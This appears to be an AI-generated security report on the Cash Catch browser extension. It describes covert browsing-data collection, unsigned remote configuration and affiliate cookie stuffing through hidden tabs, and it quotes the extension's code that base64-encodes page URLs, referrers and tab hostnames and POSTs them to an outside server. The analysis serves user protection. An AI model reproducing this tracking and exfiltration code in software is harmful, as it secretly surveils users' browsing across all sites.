Is Cash Catch safe?
Cash Catch runs on every site and sends the full URL, referrer, and hostname of each page you visit to its servers.
On every page you load, Cash Catch's content script transmits the full page URL (including paths and query strings), the referrer, and the hostname to rukthwaealso.com as a base64-encoded request. A service worker pulls remote configuration from hemostgracefu.org and rukthwaealso.com that controls when coupon popups appear and which affiliate tags are used. On supported merchant sites the extension silently opens and closes a hidden background tab to apply_affiliate, dropping affiliate-attribution cookies so its operator earns the commission on your purchase.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Full page URLs and referrers sent to third-party server on every site visited
Every page you visit triggers Cash Catch to send its URL, referring URL, and the opener tab's hostname to rukthwaealso.com.
This fires on every navigation, on every site, not just shopping ones; the data is base64-encoded first.
You navigate to any website in the browser.
The extension's content script is injected on all URLs and fires automatically at document_idle.
The extension encodes the page URL, referrer, and opener tab hostname into a base64 blob and POSTs it to rukthwaealso.com/get_coupons.
This happens on every navigation including non-shopping sites like banking, health portals, and internal web apps.
| Content-Type | text/plain |
eyJyZWZlcnJlciI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS8iLCJwYWdlX3VybCI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vYWNjb3VudC9hYm91dC8_aGw9ZW4tVVMifQ==
The POST body is base64-encoded JSON, making the contents non-obvious in standard network monitoring tools that display the raw body.
{
"referrer": "https://accounts.google.com/",
"page_url": "https://www.google.com/account/about/?hl=en-US"
}| Field | Value | Why it matters | |
|---|---|---|---|
Current page URL | https://www.google.com/account/about/?hl=en-US | The full URL of the page you just loaded, including path and query string. | |
Referrer URL | https://accounts.google.com/ | The URL of the page you came from, revealing navigation patterns and browsing sequences. | |
Visited hostname (query param) | osr=google.com&ref=google.com | The domain of the current site appears in the query string as the osr and ref parameters. | |
Opener tab hostname | parent: "mail.google.com" | If the current tab was opened from another tab, the domain of that parent tab is included. | |
Extension version | ver=1.0.22 | The installed extension version is included in every request query string. |
Service worker code that encodes and transmits browsing context
const encodedData = {};
if (referrer) encodedData.referrer = referrer;
if (pageUrl) encodedData.page_url = pageUrl;
const parentTabId = getSavedParent(senderTabId);
if (parentTabId) {
try {
const parentTab = await chrome.tabs.get(parentTabId);
if (parentTab && parentTab.url) {
encodedData.parent = new URL(parentTab.url).hostname;
}
} catch (e) {}
}
const base64Body = btoa(JSON.stringify(encodedData));
const response = await fetch(apiUrl, {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: base64Body,
keepalive: true
});let apiUrl = `${Config.apiUrl}/get_coupons?tid=${tid}&osr=${encodeURIComponent(hostname)}&ver=${EXT_VERSION}&ext=cash_catch&ref=${encodeURIComponent(hostname)}`;
if (trackingParams && Object.keys(trackingParams).length > 0) {
Object.keys(trackingParams).forEach(key => {
apiUrl += `&${encodeURIComponent(key)}=${encodeURIComponent(trackingParams[key])}`;
});
}- rukthwaealso.com
Primary data receiver. Collects full page URLs, referrers, and tab ancestry data via POST /get_coupons on every navigation across all sites.
Extension behavior on all sites governed by unsigned remote configuration
Cash Catch downloads its config from hemostgracefu.org and rukthwaealso.com on startup and at intervals.
This sets which sites trigger the popup, affiliate cookie behavior, consent timing, and cart detection sitewide, unsigned.
The extension is installed and the service worker starts.
On startup and at server-defined refresh intervals, the service worker contacts two external servers for behavioral configuration.
The extension downloads unsigned config from hemostgracefu.org and rukthwaealso.com that controls popup behavior, affiliate triggering, and cart detection on every site.
The fetched config is stored locally with no signature or integrity check. Any change to the config without notifying the user alters how the extension behaves across all sites.
Tracking parameters are fetched from rukthwaealso.com/gt on every service worker startup. Full behavioral config is fetched from hemostgracefu.org/api/conf on first run and then refreshed according to the server-supplied refresh_ms field in the config itself, meaning the refresh cadence is also server-controlled.
| Field | Value | Why it matters | |
|---|---|---|---|
Popup timing config | current_tab: {cooldown_general_ms: 21600000} | Controls how long the extension waits before showing coupon popups on new tabs and within the same tab. | |
Cart detection rules | cart_keywords: {enabled: true}, cart_only: {enabled: false} | Defines which URLs and keywords are treated as shopping cart pages, triggering affiliate events. | |
Affiliate consent tag | mode: {tag: "aff_tid_9812"} | The server can set the affiliate TID (tracking ID) and mode tag used for monetization events across all merchant sites. | |
Config refresh interval | refresh_ms: 3600000 | The server specifies how often the extension re-fetches its own config, giving the server perpetual update capability. | |
Consent cooldown | consent_cooldown: {enabled: true, cooldown_ms: 86400000} | Controls how frequently the affiliate consent cookie is fired per domain visit. |
Config fetch with no integrity check
async function fetchConfigFromServer(trackingParams) {
if (!trackingParams || Object.keys(trackingParams).length === 0) {
logMessage('No tracking params provided, using default config');
return null;
}
try {
const url = new URL(`https://hemostgracefu.org/api/conf`);
url.searchParams.append('ver', EXT_VERSION);
Object.keys(trackingParams).forEach(key => url.searchParams.append(key, trackingParams[key]));
const response = await fetch(url.href);
if (!response.ok) throw new Error('Config API request failed');
const data = await response.json();
if (data && data.message && data.message.settings) {
return data.message.settings; // accepted without any signature or hash check
}
throw new Error('Invalid config response structure');
} catch (error) {
logMessage('Error fetching config from server:', error);
return null;
}
}async function getConfigData() {
return new Promise((resolve) => {
chrome.storage.local.get(['configData', 'configTimestamp'], async (result) => {
const configData = result.configData;
const configTimestamp = result.configTimestamp;
if (!configData) {
const fetchedConfig = await fetchConfigFromServer(trackingParams);
if (fetchedConfig) {
chrome.storage.local.set({
configData: { settings: fetchedConfig },
configTimestamp: Date.now(),
// stored without integrity validation
});
}
return;
}
// refresh interval is itself supplied by the server
const refreshMs = configData.settings?.refresh_ms;
if (refreshMs && configTimestamp) {
const timeSinceFetch = Date.now() - configTimestamp;
if (timeSinceFetch >= refreshMs) {
const fetchedConfig = await fetchConfigFromServer(trackingParams);
// again stored without any hash/signature check
}
}
});
});
}- hemostgracefu.org
Delivers the primary behavioral configuration JSON (popup timing, cart detection, affiliate consent rules, refresh cadence) that governs extension behavior on all visited sites.
- rukthwaealso.com
Delivers tracking params (affiliate TID, consent flags) via /gt. Also receives browsing data via /get_coupons: both a config source and a data exfil destination.